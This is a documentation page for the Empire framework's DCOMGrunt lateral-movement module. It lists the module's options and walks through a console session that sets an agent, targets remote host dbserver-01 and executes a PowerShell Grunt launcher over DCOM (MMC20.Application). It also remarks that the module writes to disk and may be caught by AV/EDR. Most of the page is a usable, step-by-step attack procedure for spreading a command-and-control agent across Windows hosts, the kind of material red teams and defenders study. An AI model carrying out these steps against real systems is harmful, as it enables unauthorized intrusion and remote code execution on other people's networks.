DCOMGrunt - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.LateralMovement/DCOMGrunt Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: DCOMGrunt
Module: csharp/SharpSploit.LateralMovement/DCOMGrunt
Source code: empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L503
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The DCOMGrunt module executes a Grunt Launcher on a remote system using various DCOM methods.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the DCOMGrunt module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the DCOMGrunt module:

Agent
Agent to run module on.

ComputerName
ComputerName to execute the process on.
Default value: localhost.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Launcher
Grunt Launcher to execute on the remote system.
Default value: PowerShell.

Additional Module Options

This is a list of additional options that are supported by the DCOMGrunt module:

Method
DCOM method to use for execution.
Default value: MMC20.Application.

DCOMGrunt Example Usage

Here's an example of how to use the DCOMGrunt module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.LateralMovement/DCOMGrunt

 Author       cobbr_io                                                       
 Background   False                                                          
 Description  Execute a Grunt Launcher on a remote system using various DCOM 
              methods.                                                       
 Language     csharp                                                         
 Name         csharp/SharpSploit.LateralMovement/DCOMGrunt                   
 NeedsAdmin   False                                                          
 OpsecSafe    False                                                          


,Record Options-,-------------------,----------,-------------------------------------,
| Name          | Value             | Required | Description                         |
|---------------|-------------------|----------|-------------------------------------|
| Agent         |                   | True     | Agent to run module on.             |
|---------------|-------------------|----------|-------------------------------------|
| ComputerName  | localhost         | True     | ComputerName to execute the process |
|               |                   |          | on.                                 |
|---------------|-------------------|----------|-------------------------------------|
| DotNetVersion | Net35             | True     | .NET version to compile against     |
|---------------|-------------------|----------|-------------------------------------|
| Launcher      | PowerShell        | True     | Grunt Launcher to execute on the    |
|               |                   |          | remote system.                      |
|---------------|-------------------|----------|-------------------------------------|
| Method        | MMC20.Application | False    | DCOM method to use for execution.   |
'---------------'-------------------'----------'-------------------------------------'

(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > set Launcher PowerShell
[*] Set Launcher to PowerShell
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMGrunt) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • cobbr_io

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.